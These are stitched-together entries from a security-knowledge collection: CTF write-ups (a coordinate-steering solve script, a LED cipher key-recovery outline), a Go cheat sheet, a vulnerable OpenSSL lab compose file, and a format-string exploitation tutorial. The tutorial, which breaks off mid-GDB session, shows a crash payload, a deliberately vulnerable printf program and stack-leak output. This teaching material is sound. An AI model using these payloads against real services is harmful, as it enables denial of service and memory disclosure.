<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/docker-filesystems-busyboxrw.png"/> </div><br>
## 参考资料
- [DOCKER 101: INTRODUCTION TO DOCKER WEBINAR RECAP](https://blog.docker.com/2017/08/docker-101-introduction-docker-webinar-recap/)
- [Docker 入门教程](http://www.ruanyifeng.com/blog/2018/02/docker-tutorial.html)
- [Docker container vs Virtual machine](http://www.bogotobogo.com/DevOps/Docker/Docker_Container_vs_Virtual_Machine.php)
- [How to Create Docker Container using Dockerfile](https://linoxide.com/linux-how-to/dockerfile-create-docker-container/)
- [理解 Docker(2):Docker 镜像](http://www.cnblogs.com/sammyliu/p/5877964.html)
- [为什么要使用 Docker?](https://yeasy.gitbooks.io/docker_practice/introduction/why.html)
- [What is Docker](https://www.docker.com/what-docker)
- [持续集成是什么?](http://www.ruanyifeng.com/blog/2015/09/continuous-integration.html)
|
sec-knowleage
|
# Drive to the target
Category: Coding
## Description
> Excellent work! With your fine sleuthing skills, you managed to find a picture of the handsome creature with its pet biped. At last friends and companionship may be near!
>
> Like all inhabitants of this world, you spend an inordinate amount of time on the site, stalking and comparing your life to that of others. The first thought that springs to your mind is "Why haven't I ever been to Mauritius on holiday?" followed swiftly by "What is a Mauritius anyway?" But after a while and with language successfully deciphered, you've made contact with the lifeform in the picture, you have a "date"? You're given the address of where to meet your potential interest. "1 Banana way, beware of the glass." An odd address, especially that last part. So how do you get there? You land your ship and begin to search.
>
> https://drivetothetarget.web.ctfcompetition.com/
## Solution
We visit the attached website and see the following form:
```html
<body>
<p>Hurry up, don't be late for you rendez-vous!
<form method="get" action="/">
<fieldset>
<legend>Pick your direction</legend>
<input type="number" name="lat" value="51.6498" min="-90" max="90" step="0.0001">
<input type="number" name="lon" value="0.0982" min="-180" max="180" step="0.0001">
<input style="display: none" name="token" value="gAAAAABdIIdwScIB_NAfiCCjS-DQroCC-_M2uKbNlUMWE4SZdy3SNpNVuCbCp5QS4bZUhhY57ncdHSa8lVX1d85q3DCBW5SkZutF0_xG-2Jpnv0T3vBl5BeAJ85DqgDuX9VMmZTw2BUJ">
<button type="submit">go</button>
</fieldset>
</form>
<p></p>
</body>
```
We can modify the latitude or longitude and submit the form. The response will tell us if we're moving closer, further or too fast (which means we must either wait between submissions or choose a closer coordinate).
The concept is pretty simple. We'll write a short script to drive us to the target. The script will choose the correct direction by attempting different directions until it receives an indication that it is getting closer. Diagonal movement will be prioritized at first as an optimization. It will continue moving in the same direction until there is an indication that the chosen direction isn't optimal anymore. Then it will choose another direction, without allowing diagonal movement (since allowing it might cause an infinite loop of moving further and back closer again).
The code:
```python
from collections import namedtuple
from bs4 import BeautifulSoup
from enum import Enum
import requests
import random
import pickle
import time
import os
CACHE_FILE = "cache.db"
URL = "https://drivetothetarget.web.ctfcompetition.com/"
Result = namedtuple('Result', 'lat lon token msg')
UNIT = 0.0001
class Message(Enum):
CLOSER = 1
FURTHER = 2
TOO_FAST = 3
OTHER = 4
def extract_info(html):
parsed_html = BeautifulSoup(html, features="html.parser")
lat = parsed_html.body.find("input", attrs={"name": "lat"})["value"]
lon = parsed_html.body.find("input", attrs={"name": "lon"})["value"]
token = parsed_html.body.find("input", attrs={"name": "token"})["value"]
paragraphs = parsed_html.body.find_all("p")
msg_type = Message.OTHER
if len(paragraphs) > 1:
msg = paragraphs[1].text
if "closer" in msg:
msg_type = Message.CLOSER
elif "away" in msg:
msg_type = Message.FURTHER
elif "fast" in msg:
msg_type = Message.TOO_FAST
else:
print (msg)
return Result(lat, lon, token, msg_type)
def send_info(s, lat, lon, token):
r = s.get(URL, params = {"lat": str(lat), "lon": str(lon), "token": token})
return extract_info(r.text)
def get_direction(s, res, timeout, allow_diagonal = False):
print ("Changing direction . . .")
directions = [(0, 1), (0, -1), (1, 0), (-1, 0)]
random.shuffle(directions)
if allow_diagonal:
directions = [(-1, -1), (1, 1), (1, -1), (-1, 1)] + directions
for direction in directions:
while True:
time.sleep(timeout)
res = send_info(s, float(res.lat) + (UNIT * direction[0]), float(res.lon) + (UNIT * direction[1]), res.token)
if res.msg == Message.CLOSER:
print ("New direction: {}".format(direction))
return res, direction
elif res.msg == Message.TOO_FAST:
timeout += 1
else:
break
return (None, None)
s = requests.session()
if os.path.exists(CACHE_FILE):
res = pickle.load( open( CACHE_FILE, "rb" ) )
else:
r = s.get(URL)
res = extract_info(r.text)
try:
timeout = 0.8
res, direction = get_direction(s, res, timeout, True)
print ("Starting to drive . . .")
while res is not None:
time.sleep(timeout)
res = send_info(s, float(res.lat) + (UNIT * direction[0]), float(res.lon) + (UNIT * direction[1]), res.token)
print (res)
if (res.msg == Message.FURTHER):
res, direction = get_direction(s, res, timeout, False)
elif (res.msg == Message.TOO_FAST):
timeout += 0.1
elif (res.msg == Message.OTHER):
break
except Exception as e:
print (e)
finally:
pickle.dump( res, open( CACHE_FILE, "wb" ) )
```
It takes a while. The last few lines of are:
```
Result(lat='51.49139999999475', lon='-0.19269999999999685', token='gAAAAABdIK-KlQ8jp2wP7JenziknWUFTk5L1TGDqJKitMflAkgYYef0bYHFtyv0o9Nn4wYY7xlDBUK4e-7TVgM4dzYpfht-1PMEVwYKypsP3s8QQva9_IOb0-rvSnTwWkP7aQpauRT92', msg=<Message.CLOSER: 1>)
Result(lat='51.49149999999475', lon='-0.19269999999999685', token='gAAAAABdIK-LHp-83iXQSjE9CFGqlBohYTBJOttg9F980QurnlVDPT_mx-kAr0V4B9wd88fwlyCYCFIxWp9YEGy_9GTS-GUI7QzdWa3mq9fbHXuU4n5onhcmibV7Fc_ui5iRy_ZlP_1z', msg=<Message.CLOSER: 1>)
Result(lat='51.491599999994754', lon='-0.19269999999999685', token='gAAAAABdIK-Ml1x5vdTkghk85clT6JAd6mm_N4OBVjdr3cQEoCRmIJct17MDD9s3qdlq-mMcJ9F2QesR_x2ViCBTcpVY_KyUJOeSiyO7idNbK_XIQEpTa3pi0kmTq3j4qqzwIBFGBUu9', msg=<Message.CLOSER: 1>)
Result(lat='51.49169999999476', lon='-0.19269999999999685', token='gAAAAABdIK-O_fpi5-K-DI7b55eXsk_6A89M4AuKI9h1HKHmMM4aKgcIVSoYGzmlxe9XyQAA2zOpjhmRzC2brNDIpwaFhufvNLk-bQBASTSHAjCVVVWlisZtUSCkQGrk4_QYIP8SUp_o', msg=<Message.CLOSER: 1>)
Result(lat='51.49179999999476', lon='-0.19269999999999685', token='gAAAAABdIK-Pw1VE2QfgV80gT7YWaNGyw64bWrB0HKWMsfRq8K9sol-8QrXuhafBqjOYGNCvlzNe_EC5465hE6fS3CAB2lYrbMpu_crFLg0ZUaFrkj9Zu6fA3y9tEVPnTjOdWoH010vx', msg=<Message.CLOSER: 1>)
Result(lat='51.491899999994764', lon='-0.19269999999999685', token='gAAAAABdIK-QCjUu42odLrAsnTWKfZ3RHiP2AmHjdh4mWY3mi7-aVcCi8T9GbbD4Nb56zNMI1XTStmjdC2GRUKRmuVNvtmp1rGoL0CxDRsIXR_BnhqynddHwBcv69t5ROunp1zwrs_1i', msg=<Message.CLOSER: 1>)
Result(lat='51.49199999999477', lon='-0.19269999999999685', token='gAAAAABdIK-RsI4wVFyRFwdphXzAgLmBrwXP8IN3Yrmvi9TwmfObe3XpctxVaAT6kVpCoIdYzVfUDkKYZAVMB67f48_oqseE4dRVFUkdwI5F9BfbHiawcMEf7b59D0uU7NyDttemy9Wl', msg=<Message.CLOSER: 1>)
Result(lat='51.49209999999477', lon='-0.19269999999999685', token='gAAAAABdIK-SWKxdb2j3_kmpN6g0xeEYfUgXg1_JhWoNpWSaPvsvJdQ_n3XCAl4MrcztCpMYupYZ63SAKc_ku9-5mW4PxNKK35W-c6dyhY_BUMLpWA4RWbrcrmFpYJV7W_xMpmqvhEBU', msg=<Message.CLOSER: 1>)
Result(lat='51.492199999994774', lon='-0.19269999999999685', token='gAAAAABdIK-TMe7cFgRviWQ102nugUb3uqWVTBff061dAxax1iKT0dUyKlKm3gVGvFzmcdZWwistCGlr-gcegz3eWCdLHKx1HQBErmPTfzK6ApY_2PvdTYIdPPrtP140Pdu5cxQveB2b', msg=<Message.FURTHER: 2>)
Changing direction . . .
New direction: (-1, 0)
Result(lat='51.49199999999477', lon='-0.19269999999999685', token='gAAAAABdIK-VYUb5Yl29ogPMRODBQzJqLZ5mK2oFBqWeJK2-12KYMTkxSGLU1XqekklK4Ejftfmq9DI3B_BUOKKhTWMFCExwITrwI_eDygbohn2EJ2NhSK5ptJc7w8-pXD_IFTBzPz2X', msg=<Message.FURTHER: 2>)
Changing direction . . .
New direction: (0, -1)
Result(lat='51.49199999999477', lon='-0.19289999999999682', token='gAAAAABdIK-Xq2i_JTtmCAgsL3pw70l0_G5hsPSi1uhEhO_iwErYZ-cqe7mDICNaLYj7wMUGZzEA3tDsBbAyE_riErkwKrzPPJ8w363oWEz0DOSYEvxIKDRNYycixAONSA_sOukkBilO', msg=<Message.CLOSER: 1>)
Result(lat='51.49199999999477', lon='-0.1929999999999968', token='gAAAAABdIK-Y02yDXsyG37CbeJmkhv053cupB9Mgpy8XNAi72IaB4ro68yzzQMNRfPLErA2ZlCijgeheV7bpVL5ryNoGWRbWlZELl8LXfzMZKnkV-d00ZwPzfPPbCEnaX6EwP7fvr1Ui', msg=<Message.FURTHER: 2>)
Changing direction . . .
New direction: (0, 1)
Result(lat='51.49199999999477', lon='-0.19279999999999684', token='gAAAAABdIK-aeLoaNpSPaScaWhPwg1fXrHgLybBP0pPHYIJJPTpuxm3xpawa9JzINzptVomDPemDOsWU-UsPT5nx0P7yCbHsqOG1BqCPhv_mbdPF2H0fWyk8TUtx5W13jc965OOOd43Z', msg=<Message.FURTHER: 2>)
Changing direction . . .
Congratulations, you made it, here is the flag: CTF{Who_is_Tardis_Ormandy}
Congratulations, you made it, here is the flag: CTF{Who_is_Tardis_Ormandy}
```
Using [this service](http://www.hamstermap.com/quickmap.php), we can plot the coordinates on a map and see the route we took:

|
sec-knowleage
|
# LED (crypto, 19 solved, 315p)
## step 1
I analyzed function `Lazy_LED_enc` with parameter `rounds` set to `1` .
This function receives also password and key in nibbles list in an arguments.
I discovered that if you remove last step from this function which is a random permutation:
```python
ret2 = ""
for i in range(16):
ret2 += ret[ sbox_lazy[i] ] # Now it's safe!
```
there are sets that every 4 nibbles in the key are responsible for other 4 nibbles in the output in constant place without changing the rest of key.
Here is a map which nibbles in key are responsible for which nibbles in the output of function `Lazy_LED_enc` when the last permutation is removed:
```
0, 5, 10, 15 -> 0, 4, 8, 12
1, 6, 11, 12 -> 1, 5, 9, 13
2, 7, 8, 13 -> 2, 6, 10, 14
3, 4, 9, 14 -> 3, 7, 11, 15
```
for example if some nibbles in key at positions `0,5,10,15` change, the output will change only at postions `0, 4, 8, 12` as long as password is the same.
You can easily brute-force every set of nibbles and recover the first 8 bytes of the key.
Now, lets consider this function with the last step not removed.
The last step is only a random permutation - bytes are unchanged but they only change their own positions.
The solution is to probe the function before brute-forcing the key.
You call this function several times for the same nibble set with different password to see at which positions nibbles changes.
Now you can brute-force every 4 set of nibbles of key.
In this step you brute-forced the first 8-bytes of key.
## step 2
Now if you have first 8-bytes of the key you can recover the random permutation - the last step in function `Lazy_LED_enc`.
Still keep calling this function with `rounds` set to `1`.
This is easy step.
## step 3
Let's break the second half of the key. It is again 8 bytes.
Now function `Lazy_LED_enc` is called with `rounds` set to `5`.
At this step you know what is the output of `Lazy_LED_enc` with `rounds=4` and the first half of key set to the value of real key.
Now, if `rounds=5` the second half of key is xored with state and now are made the same computations as in the `Lazy_LED_enc` with `rounds=1`.
You can request server with known password and `rounds=5` and now, you can brute force every nibble set at your CPU.
## step 4
The requirement in this task was that the connection with this server can take max `1 minute`.
The optimizations I made is to make computations before the connection with the server if it was possible,
multithreading for computations on CPU,
caching server responses
and making less requests to the server.
## python script
Sometimes it creashes - run it once again.
[script.py](script.py)
|
sec-knowleage
|
---
title: Go
date: 2020-12-17 21:51:44
background: bg-[#4ba4cc]
tags:
- Go
categories:
- Programming
intro: |
This cheat sheet provided basic syntax and methods to help you using [Go](https://go.dev/).
plugins:
- copyCode
---
Getting Started
--------
### hello.go
```go
package main
import "fmt"
func main() {
fmt.Println("Hello, world!")
}
```
Run directly
```shell script
$ go run hello.go
Hello, world!
```
Or try it out in the [Go repl](https://repl.it/languages/go)
### Variables
```go
var s1 string
s1 = "Learn Go!"
// declare multiple variables at once
var b, c int = 1, 2
var d = true
```
Short declaration
```go
s1 := "Learn Go!" // string
b, c := 1, 2 // int
d := true // bool
```
See: [Basic types](#go-basic-types)
### Functions
```go
package main
import "fmt"
// The entry point of the programs
func main() {
fmt.Println("Hello world!")
say("Hello Go!")
}
func say(message string) {
fmt.Println("You said: ", message)
}
```
See: [Functions](#go-functions)
### Comments
```go
// Single line comment
/* Multi-
line comment */
```
### If statement
```go
if true {
fmt.Println("Yes!")
}
```
See: [Flow control](#go-flow-control)
Go Basic types
--------
### Strings
```go
s1 := "Hello" + "World"
s2 := `A "raw" string literal
can include line breaks.`
// Outputs: 10
fmt.Println(len(s1))
// Outputs: Hello
fmt.Println(string(s1[0:5]))
```
Strings are of type `string`.
### Numbers
```go
num := 3 // int
num := 3. // float64
num := 3 + 4i // complex128
num := byte('a') // byte (alias: uint8)
var u uint = 7 // uint (unsigned)
var p float32 = 22.7 // 32-bit float
```
#### Operators
```go
x := 5
x++
fmt.Println("x + 4 =", x + 4)
fmt.Println("x * 4 =", x * 4)
```
See: [More Operators](#go-operators-and-punctuation)
### Booleans
```go
isTrue := true
isFalse := false
```
#### Operators
```go
fmt.Println(true && true) // true
fmt.Println(true && false) // false
fmt.Println(true || true) // true
fmt.Println(true || false) // true
fmt.Println(!true) // false
```
See: [More Operators](#go-operators-and-punctuation)
### Arrays {.row-span-2}
```go
┌────┬────┬────┬────┬─────┬─────┐
| 2 | 3 | 5 | 7 | 11 | 13 |
└────┴────┴────┴────┴─────┴─────┘
0 1 2 3 4 5
```
---
```go
primes := [...]int{2, 3, 5, 7, 11, 13}
fmt.Println(len(primes)) // => 6
// Outputs: [2 3 5 7 11 13]
fmt.Println(primes)
// Same as [:3], Outputs: [2 3 5]
fmt.Println(primes[0:3])
```
---
```go
var a [2]string
a[0] = "Hello"
a[1] = "World"
fmt.Println(a[0], a[1]) //=> Hello World
fmt.Println(a) // => [Hello World]
```
#### 2d array
```go
var twoDimension [2][3]int
for i := 0; i < 2; i++ {
for j := 0; j < 3; j++ {
twoDimension[i][j] = i + j
}
}
// => 2d: [[0 1 2] [1 2 3]]
fmt.Println("2d: ", twoDimension)
```
### Pointers
```go
func main () {
b := *getPointer()
fmt.Println("Value is", b)
}
```
```go
func getPointer () (myPointer *int) {
a := 234
return &a
}
```
```go
a := new(int)
*a = 234
```
See: [Pointers](https://tour.go.dev/moretypes/1)
### Slices
```go
s := make([]string, 3)
s[0] = "a"
s[1] = "b"
s = append(s, "d")
s = append(s, "e", "f")
fmt.Println(s)
fmt.Println(s[1])
fmt.Println(len(s))
fmt.Println(s[1:3])
slice := []int{2, 3, 4}
```
See also: [Slices example](https://gobyexample.com/slices)
### Constants
```go
const s string = "constant"
const Phi = 1.618
const n = 500000000
const d = 3e20 / n
fmt.Println(d)
```
### Type conversions
```go
i := 90
f := float64(i)
u := uint(i)
// Will be equal to the character Z
s := string(i)
```
#### How to get int string?
```go
i := 90
// need import "strconv"
s := strconv.Itoa(i)
fmt.Println(s) // Outputs: 90
```
Go Strings
--------
### Strings function
```go
package main
import (
"fmt"
s "strings"
)
func main() {
/* Need to import strings as s */
fmt.Println(s.Contains("test", "e"))
/* Build in */
fmt.Println(len("hello")) // => 5
// Outputs: 101
fmt.Println("hello"[1])
// Outputs: e
fmt.Println(string("hello"[1]))
}
```
### fmt.Printf {.row-span-2 .col-span-2}
```go
package main
import (
"fmt"
"os"
)
type point struct {
x, y int
}
func main() {
p := point{1, 2}
fmt.Printf("%v\n", p) // => {1 2}
fmt.Printf("%+v\n", p) // => {x:1 y:2}
fmt.Printf("%#v\n", p) // => main.point{x:1, y:2}
fmt.Printf("%T\n", p) // => main.point
fmt.Printf("%t\n", true) // => TRUE
fmt.Printf("%d\n", 123) // => 123
fmt.Printf("%b\n", 14) // => 1110
fmt.Printf("%c\n", 33) // => !
fmt.Printf("%x\n", 456) // => 1c8
fmt.Printf("%f\n", 78.9) // => 78.9
fmt.Printf("%e\n", 123400000.0) // => 1.23E+08
fmt.Printf("%E\n", 123400000.0) // => 1.23E+08
fmt.Printf("%s\n", "\"string\"") // => "string"
fmt.Printf("%q\n", "\"string\"") // => "\"string\""
fmt.Printf("%x\n", "hex this") // => 6.86578E+15
fmt.Printf("%p\n", &p) // => 0xc00002c040
fmt.Printf("|%6d|%6d|\n", 12, 345) // => | 12| 345|
fmt.Printf("|%6.2f|%6.2f|\n", 1.2, 3.45) // => | 1.20| 3.45|
fmt.Printf("|%-6.2f|%-6.2f|\n", 1.2, 3.45) // => |1.20 |3.45 |
fmt.Printf("|%6s|%6s|\n", "foo", "b") // => | foo| b|
fmt.Printf("|%-6s|%-6s|\n", "foo", "b") // => |foo |b |
s := fmt.Sprintf("a %s", "string")
fmt.Println(s)
fmt.Fprintf(os.Stderr, "an %s\n", "error")
}
```
See also: [fmt](https://go.dev/pkg/fmt/)
### Function examples
| Example | Result |
|-------------------------------|-------------|
| Contains("test", "es") | true |
| Count("test", "t") | 2 |
| HasPrefix("test", "te") | true |
| HasSuffix("test", "st") | true |
| Index("test", "e") | 1 |
| Join([]string{"a", "b"}, "-") | a-b |
| Repeat("a", 5) | aaaaa |
| Replace("foo", "o", "0", -1) | f00 |
| Replace("foo", "o", "0", 1) | f0o |
| Split("a-b-c-d-e", "-") | [a b c d e] |
| ToLower("TEST") | test |
| ToUpper("test") | TEST |
Go Flow control
--------
### Conditional
```go
a := 10
if a > 20 {
fmt.Println(">")
} else if a < 20 {
fmt.Println("<")
} else {
fmt.Println("=")
}
```
### Statements in if
```go
x := "hello go!"
if count := len(x); count > 0 {
fmt.Println("Yes")
}
```
---
```go
if _, err := doThing(); err != nil {
fmt.Println("Uh oh")
}
```
### Switch
```go {.wrap}
x := 42.0
switch x {
case 0:
case 1, 2:
fmt.Println("Multiple matches")
case 42: // Don't "fall through".
fmt.Println("reached")
case 43:
fmt.Println("Unreached")
default:
fmt.Println("Optional")
}
```
See: [Switch](https://github.com/golang/go/wiki/Switch)
### For loop
```go
for i := 0; i <= 10; i++ {
fmt.Println("i: ", i)
}
```
### For-Range loop
```go {.wrap}
nums := []int{2, 3, 4}
sum := 0
for _, num := range nums {
sum += num
}
fmt.Println("sum:", sum)
```
### While loop
```go
i := 1
for i <= 3 {
fmt.Println(i)
i++
}
```
### Continue keyword
```go
for i := 0; i <= 5; i++ {
if i % 2 == 0 {
continue
}
fmt.Println(i)
}
```
### Break keyword
```go
for {
fmt.Println("loop")
break
}
```
Go Structs & Maps
--------
### Defining {.row-span-2}
```go
package main
import (
"fmt"
)
type Vertex struct {
X int
Y int
}
func main() {
v := Vertex{1, 2}
v.X = 4
fmt.Println(v.X, v.Y) // => 4 2
}
```
See: [Structs](https://tour.go.dev/moretypes/2)
### Literals
```go
v := Vertex{X: 1, Y: 2}
// Field names can be omitted
v := Vertex{1, 2}
// Y is implicit
v := Vertex{X: 1}
```
You can also put field names.
### Maps {.row-span-2}
```go
m := make(map[string]int)
m["k1"] = 7
m["k2"] = 13
fmt.Println(m) // => map[k1:7 k2:13]
v1 := m["k1"]
fmt.Println(v1) // => 7
fmt.Println(len(m)) // => 2
delete(m, "k2")
fmt.Println(m) // => map[k1:7]
_, prs := m["k2"]
fmt.Println(prs) // => false
n := map[string]int{"foo": 1, "bar": 2}
fmt.Println(n) // => map[bar:2 foo:1]
```
### Pointers to structs
```go
v := &Vertex{1, 2}
v.X = 2
```
Doing `v.X` is the same as doing `(*v).X`, when `v` is a pointer.
Go Functions
--------
### Multiple arguments
```go
func plus(a int, b int) int {
return a + b
}
func plusPlus(a, b, c int) int {
return a + b + c
}
fmt.Println(plus(1, 2))
fmt.Println(plusPlus(1, 2, 3))
```
### Multiple return
```go
func vals() (int, int) {
return 3, 7
}
a, b := vals()
fmt.Println(a) // => 3
fmt.Println(b) // => 7
```
### Function literals
```go
r1, r2 := func() (string, string) {
x := []string{"hello", "quickref.me"}
return x[0], x[1]
}()
// => hello quickref.me
fmt.Println(r1, r2)
```
### Naked returns
```go
func split(sum int) (x, y int) {
x = sum * 4 / 9
y = sum - x
return
}
x, y := split(17)
fmt.Println(x) // => 7
fmt.Println(y) // => 10
```
Note that using naked returns hurts readability.
### Variadic functions
```go
func sum(nums ...int) {
fmt.Print(nums, " ")
total := 0
for _, num := range nums {
total += num
}
fmt.Println(total)
}
sum(1, 2) //=> [1 2] 3
sum(1, 2, 3) // => [1 2 3] 6
nums := []int{1, 2, 3, 4}
sum(nums...) // => [1 2 3 4] 10
```
### init function
```go
import --> const --> var --> init()
```
---
```go
var num = setNumber()
func setNumber() int {
return 42
}
func init() {
num = 0
}
func main() {
fmt.Println(num) // => 0
}
```
### Functions as values
```go
func main() {
// assign a function to a name
add := func(a, b int) int {
return a + b
}
// use the name to call the function
fmt.Println(add(3, 4)) // => 7
}
```
### Closures 1
```go
func scope() func() int{
outer_var := 2
foo := func() int {return outer_var}
return foo
}
// Outpus: 2
fmt.Println(scope()())
```
### Closures 2
```go
func outer() (func() int, int) {
outer_var := 2
inner := func() int {
outer_var += 99
return outer_var
}
inner()
return inner, outer_var
}
inner, val := outer()
fmt.Println(inner()) // => 200
fmt.Println(val) // => 101
```
Go Packages
--------
### Importing {.row-span-2}
```go
import "fmt"
import "math/rand"
```
#### Same as
```go
import (
"fmt" // gives fmt.Println
"math/rand" // gives rand.Intn
)
```
See: [Importing](https://tour.go.dev/basics/1)
### Aliases {.row-span-2}
```go
import r "math/rand"
```
---
```go
import (
"fmt"
r "math/rand"
)
```
---
```go
r.Intn()
```
### Packages
```go
package main
// An internal package may be imported only by another package
// that is inside the tree rooted at the parent of the internal directory
package internal
```
See: [Internal packages](https://go.dev/doc/go1.4#internalpackages)
### Exporting names
```go
// Begin with a capital letter
func Hello () {
···
}
```
See: [Exported names](https://tour.go.dev/basics/3)
Go Concurrency
--------
### Goroutines {.row-span-2}
```go
package main
import (
"fmt"
"time"
)
func f(from string) {
for i := 0; i < 3; i++ {
fmt.Println(from, ":", i)
}
}
func main() {
f("direct")
go f("goroutine")
go func(msg string) {
fmt.Println(msg)
}("going")
time.Sleep(time.Second)
fmt.Println("done")
}
```
See: [Goroutines](https://tour.go.dev/concurrency/1), [Channels](https://tour.go.dev/concurrency/2)
### WaitGroup {.row-span-2}
```go
package main
import (
"fmt"
"sync"
"time"
)
func w(id int, wg *sync.WaitGroup) {
defer wg.Done()
fmt.Printf("%d starting\n", id)
time.Sleep(time.Second)
fmt.Printf("%d done\n", id)
}
func main() {
var wg sync.WaitGroup
for i := 1; i <= 5; i++ {
wg.Add(1)
go w(i, &wg)
}
wg.Wait()
}
```
See: [WaitGroup](https://go.dev/pkg/sync/#WaitGroup)
### Closing channels
```go
ch <- 1
ch <- 2
ch <- 3
close(ch) // Closes a channel
```
---
```go
// Iterate the channel until closed
for i := range ch {
···
}
```
---
```go
// Closed if `ok == false`
v, ok := <- ch
```
See: [Range and close](https://tour.go.dev/concurrency/4)
### Buffered channels
```go
ch := make(chan int, 2)
ch <- 1
ch <- 2
ch <- 3
// fatal error:
// all goroutines are asleep - deadlock
```
See: [Buffered channels](https://tour.go.dev/concurrency/3)
Go Error control
--------
### Deferring functions
```go
func main() {
defer func() {
fmt.Println("Done")
}()
fmt.Println("Working...")
}
```
### Lambda defer
```go
func main() {
var d = int64(0)
defer func(d *int64) {
fmt.Printf("& %v Unix Sec\n", *d)
}(&d)
fmt.Print("Done ")
d = time.Now().Unix()
}
```
The defer func uses current value of d, unless we use a pointer to get final value at end of main.
### Defer
```go
func main() {
defer fmt.Println("Done")
fmt.Println("Working...")
}
```
See: [Defer, panic and recover](https://blog.go.dev/defer-panic-and-recover)
Go Methods {.cols-2}
--------
### Receivers
```go
type Vertex struct {
X, Y float64
}
```
```go
func (v Vertex) Abs() float64 {
return math.Sqrt(v.X * v.X + v.Y * v.Y)
}
```
```go
v := Vertex{1, 2}
v.Abs()
```
See: [Methods](https://tour.go.dev/methods/1)
### Mutation
```go
func (v *Vertex) Scale(f float64) {
v.X = v.X * f
v.Y = v.Y * f
}
```
```go
v := Vertex{6, 12}
v.Scale(0.5)
// `v` is updated
```
See: [Pointer receivers](https://tour.go.dev/methods/4)
Go Interfaces {.cols-2}
--------
### A basic interface
```go
type Shape interface {
Area() float64
Perimeter() float64
}
```
### Struct
```go
type Rectangle struct {
Length, Width float64
}
```
Struct `Rectangle` implicitly implements interface `Shape` by implementing all of its methods.
### Methods
```go
func (r Rectangle) Area() float64 {
return r.Length * r.Width
}
func (r Rectangle) Perimeter() float64 {
return 2 * (r.Length + r.Width)
}
```
The methods defined in `Shape` are implemented in `Rectangle`.
### Interface example
```go {.wrap}
func main() {
var r Shape = Rectangle{Length: 3, Width: 4}
fmt.Printf("Type of r: %T, Area: %v, Perimeter: %v.", r, r.Area(), r.Perimeter())
}
```
Miscellaneous
-------------
### Keywords
- break
- default
- func
- interface
- select
- case
- defer
- go
- map
- struct
- chan
- else
- goto
- package
- switch
- const
- fallthrough
- if
- range
- type
- continue
- for
- import
- return
- var
{.cols-3 .marker-none}
### Operators and punctuation
| | | | | | | | | |
|---|----|-----|-----|------|----|-----|---|---|
| + | & | += | &= | && | == | != | ( | ) |
| - | \| | -= | \|= | \|\| | < | <= | [ | ] |
| * | ^ | *= | ^= | <- | > | >= | { | } |
| / | << | /= | <<= | ++ | = | := | , | ; |
| % | >> | %= | >>= | -- | ! | ... | . | : |
| | &^ | &^= | | | | | | |
Also see {.cols-1}
--------
- [Devhints](https://devhints.io/go) _(devhints.io)_
- [A tour of Go](https://tour.go.dev/welcome/1) _(tour.go.dev)_
- [Go wiki](https://github.com/golang/go/wiki/) _(github.com)_
- [Effective Go](https://go.dev/doc/effective_go) _(go.dev)_
- [Go by Example](https://gobyexample.com/) _(gobyexample.com)_
- [Awesome Go](https://awesome-go.com/) _(awesome-go.com)_
- [JustForFunc Youtube](https://www.youtube.com/channel/UC_BzFbxG2za3bp5NRRRXJSw) _(youtube.com)_
- [Style Guide](https://github.com/golang/go/wiki/CodeReviewComments) _(github.com)_
|
sec-knowleage
|
# Smart Contract Reverse
!!! note
智能合约大多数代码不公开源码,公开字节码,所以需要使用逆向工具或者人工进行逆向分析。
## Related Tools
- [https://ethervm.io/decompile](https://ethervm.io/decompile) 有时候莫名其妙崩溃
- [https://www.trustlook.com/services/smart.html](https://www.trustlook.com/services/smart.html)
- 其他
具体内容待补充
|
sec-knowleage
|
version: '2'
services:
nginx:
image: vulhub/openssl:1.0.1c-with-nginx
volumes:
- ./www:/var/www/html
ports:
- "8080:80"
- "8443:443"
|
sec-knowleage
|
# 利用
其实,在上一部分,我们展示了格式化字符串漏洞的两个利用手段
- 使程序崩溃,因为%s对应的参数地址不合法的概率比较大。
- 查看进程内容,根据%d,%f输出了栈上的内容。
下面我们会对于每一方面进行更加详细的解释。
## 程序崩溃
通常来说,利用格式化字符串漏洞使得程序崩溃是最为简单的利用方式,因为我们只需要输入若干个%s即可
```text
%s%s%s%s%s%s%s%s%s%s%s%s%s%s
```
这是因为栈上不可能每个值都对应了合法的地址,所以总是会有某个地址可以使得程序崩溃。这一利用,虽然攻击者本身似乎并不能控制程序,但是这样却可以造成程序不可用。比如说,如果远程服务有一个格式化字符串漏洞,那么我们就可以攻击其可用性,使服务崩溃,进而使得用户不能够访问。
## 泄露内存
利用格式化字符串漏洞,我们还可以获取我们所想要输出的内容。一般会有如下几种操作
- 泄露栈内存
- 获取某个变量的值
- 获取某个变量对应地址的内存
- 泄露任意地址内存
- 利用GOT表得到libc函数地址,进而获取libc,进而获取其它libc函数地址
- 盲打,dump整个程序,获取有用信息。
### 泄露栈内存
例如,给定如下程序
```C
#include <stdio.h>
int main() {
char s[100];
int a = 1, b = 0x22222222, c = -1;
scanf("%s", s);
printf("%08x.%08x.%08x.%s\n", a, b, c, s);
printf(s);
return 0;
}
```
然后,我们简单编译一下
```shell
➜ leakmemory git:(master) ✗ gcc -m32 -fno-stack-protector -no-pie -o leakmemory leakmemory.c
leakmemory.c: In function ‘main’:
leakmemory.c:7:10: warning: format not a string literal and no format arguments [-Wformat-security]
printf(s);
^
```
可以看出,编译器指出了我们的程序中没有给出格式化字符串的参数的问题。下面,我们来看一下,如何获取对应的栈内存。
根据C语言的调用规则,格式化字符串函数会根据格式化字符串直接使用栈上自顶向上的变量作为其参数(64位会根据其传参的规则进行获取)。这里我们主要介绍32位。
#### 获取栈变量数值
首先,我们可以利用格式化字符串来获取栈上变量的数值。我们可以试一下,运行结果如下
```shell
➜ leakmemory git:(master) ✗ ./leakmemory
%08x.%08x.%08x
00000001.22222222.ffffffff.%08x.%08x.%08x
ffcfc400.000000c2.f765a6bb
```
可以看到,我们确实得到了一些内容。为了更加细致的观察,我们利用GDB来调试一下,以便于验证我们的想法,这里删除了一些不必要的信息,我们只关注代码段以及栈。
首先,启动程序,将断点下在printf函数处
```shell
➜ leakmemory git:(master) ✗ gdb leakmemory
gef➤ b printf
Breakpoint 1 at 0x8048330
```
之后,运行程序
```shell
gef➤ r
Starting program: /mnt/hgfs/Hack/ctf/ctf-wiki/pwn/fmtstr/example/leakmemory/leakmemory
%08x.%08x.%08x
```
此时,程序等待我们的输入,这时我们输入%08x.%08x.%08x,然后敲击回车,是程序继续运行,可以看出程序首先断在了第一次调用printf函数的位置
```shell
